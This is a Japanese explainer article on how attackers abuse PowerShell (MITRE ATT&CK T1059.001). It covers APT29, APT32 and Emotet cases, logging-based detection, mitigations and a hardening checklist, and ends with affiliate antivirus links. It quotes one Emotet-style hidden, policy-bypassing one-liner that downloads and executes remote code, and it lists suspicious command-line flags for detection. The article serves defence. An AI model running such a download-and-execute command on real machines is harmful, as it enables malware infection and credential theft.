※本記事にはアフィリエイトリンクが含まれます。詳しくはプライバシーポリシー・広告掲載についてをご覧ください。
PowerShellはWindows環境のシステム管理に欠かせないツールですが、サイバー攻撃でも最も悪用されるスクリプト環境の一つです。MITRE ATT&CKではT1059.001 PowerShellとして分類されており、APT29やAPT32など多数の攻撃グループによる利用が確認されています。本記事では、PowerShellがなぜ攻撃に悪用されるのか、実際の攻撃事例、検出方法、そして実務で使える緩和策を日本語で詳しく解説します。
※本サイトはMITRE ATT&CK®の非公式日本語解説サイトです。Based on MITRE ATT&CK® v16。
T1059.001 PowerShellの概要
T1059.001は、T1059 Command and Scripting InterpreterのSub-techniqueであり、Execution(実行 / TA0002)タクティクスに属します。攻撃者はPowerShellを使用して、コマンドの実行、スクリプトのダウンロード、メモリ上でのペイロード実行、横展開(Lateral Movement)など多岐にわたる攻撃活動を行います。
PowerShellが攻撃に悪用される理由
- OS標準搭載: Windows 7以降のすべてのWindowsに標準でインストールされており、追加のツールなしで利用可能
- .NETフレームワークとの統合: .NETのクラスライブラリに直接アクセスでき、ファイルレスマルウェアの実行が可能
- リモート実行: PowerShell Remoting(WinRM)を使って、ネットワーク内の他のマシンでスクリプトをリモート実行可能
- 難読化の容易さ: Base64エンコード(-EncodedCommand)、文字列連結、変数置換などで検出回避が容易
- メモリ内実行:
Invoke-Expression (IEX)やリフレクションを使い、ディスクにファイルを書き込まずにペイロードを実行可能
攻撃シナリオ例
APT29(Cozy Bear)— ファイルレスPowerShell攻撃
ロシアの国家支援型グループAPT29は、フィッシングメールを起点とした攻撃でPowerShellを多用します。典型的な攻撃フローは以下の通りです:
T1566(フィッシング)→ T1204(ユーザー実行)→ T1059.001(PowerShell実行)
- フィッシングメールの添付ファイル(LNKファイルやOffice文書)をユーザーが開く
- バックグラウンドでPowerShellが起動し、
-EncodedCommandパラメータでBase64エンコードされたコマンドを実行 - C2サーバーからステージャー(小さなダウンローダー)を取得し、メモリ上で実行
- 追加ツール(Mimikatz等)をメモリにロードし、認証情報を窃取
APT32(OceanLotus)— PowerShell + WMIの組み合わせ
ベトナム系のAPT32は、PowerShellとWMI(Windows Management Instrumentation)を組み合わせた持続的なアクセス確保を行います。PowerShellスクリプトをWMIイベントサブスクリプションに登録し、システム起動時に自動実行させるパーシステンス手法を利用します。
Emotetマルウェア — マクロからPowerShellへの連鎖
Emotetの初期感染チェーンでは、Office文書のVBAマクロがPowerShellコマンドを生成・実行します。powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://...')"のようなワンライナーでペイロードをダウンロードし、メモリ上で実行するパターンが広く観測されています。
検出方法
ScriptBlock Logging(イベントID 4104)
PowerShell v5以降で利用可能なScriptBlock Loggingは、実行されたスクリプトの全文をイベントログに記録する最も重要な検出機能です。難読化されたスクリプトでも、実行時に展開された後のコードが記録されるため、攻撃者のエンコードや難読化を突破できます。
有効化方法(グループポリシー):
コンピューターの構成 → 管理用テンプレート → Windowsコンポーネント → Windows PowerShell
→ 「PowerShell スクリプト ブロックのログ記録を有効にする」を有効化
プロセス作成の監視(イベントID 4688 / Sysmon Event ID 1)
以下のコマンドラインパラメータの組み合わせは高い確率で不審な実行を示します:
-EncodedCommand/-enc: Base64エンコードされたコマンドの実行-ExecutionPolicy Bypass: 実行ポリシーの無視-NoProfile/-NoP: プロファイルのスキップ-WindowStyle Hidden/-W Hidden: ウィンドウの非表示-NonInteractive/-NonI: 非対話モード- 親プロセスがwinword.exe、excel.exe、mshta.exeなどの場合は特に注意
Module Logging(イベントID 4103)
PowerShellモジュールの入出力を記録します。特定のモジュール(例:Microsoft.PowerShell.Utility)の利用パターンから不審な活動を検出できます。
緩和策(Mitigations)
| ID | 緩和策名 | 概要 |
|---|---|---|
| M1042 | 機能の無効化・削除 | PowerShell v2の無効化(ログ機能が無いため悪用されやすい) |
| M1049 | ウイルス対策/マルウェア対策 | AMSI連携によるPowerShellスクリプトのリアルタイムスキャン |
| M1045 | コード署名 | 実行ポリシーをAllSignedまたはRemoteSignedに設定 |
| M1038 | 実行防止 | AppLockerでpowershell.exe/pwsh.exeの実行を承認済みユーザーに制限 |
| M1026 | 特権アカウント管理 | JEA(Just Enough Administration)で最小権限のPowerShellセッションを構成 |
実装チェックリスト
- ☐ ScriptBlock Logging(イベントID 4104)を全端末で有効化
- ☐ Module Logging(イベントID 4103)を有効化
- ☐ PowerShell v2を無効化(
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2) - ☐ 実行ポリシーをAllSignedまたはRemoteSignedに設定
- ☐ Constrained Language Modeを検討(.NETアクセスの制限)
- ☐ AppLockerでPowerShellの実行をホワイトリスト管理
- ☐ AMSI対応のエンドポイント保護ソフトを導入

おすすめセキュリティ対策ツール
PowerShellベースの攻撃を検出・防御するためには、AMSI連携に対応したエンドポイント保護が重要です。
🛡️ まず今日から始めるなら:AMSI対応セキュリティソフトの導入
PowerShellの実行時にスクリプトの内容をリアルタイムでスキャンするAMSI連携は、ファイルレス攻撃への最も効果的な防御層の一つです。
- ESET(イーセット) — 誤検知が少なく軽量。中小企業に人気のコスパ重視セキュリティソフト
- ウイルスバスター — 日本語サポートが充実。国産ソフトで中小企業導入実績多数
- Norton(ノートン) — 世界最大手のセキュリティベンダー。VPN機能も含む総合対策
※ 上記はアフィリエイトリンクです。料金・機能は各公式サイトで必ずご確認ください。
まとめ:PowerShell攻撃対策の要点
- ログを有効にする:ScriptBlock Logging(4104)とModule Logging(4103)は必須。PowerShell v2は即座に無効化する
- 実行を制限する:AppLocker/WDAC、実行ポリシー、Constrained Language Modeで不正なPowerShell実行を制限
- AMSIで検出する:AMSI対応のセキュリティソフトにより、難読化されたスクリプトでも実行時に検出可能
- 親プロセスに注目する:Office製品やブラウザからPowerShellが起動するパターンは高い確率で攻撃活動
参考資料:MITRE ATT&CK T1059.001 – PowerShell / 情報セキュリティ10大脅威 2026(IPA) / JPCERT/CC
Based on MITRE ATT&CK®, © The MITRE Corporation. Licensed under Apache License 2.0. 本記事は非公式の日本語解説です。

コメント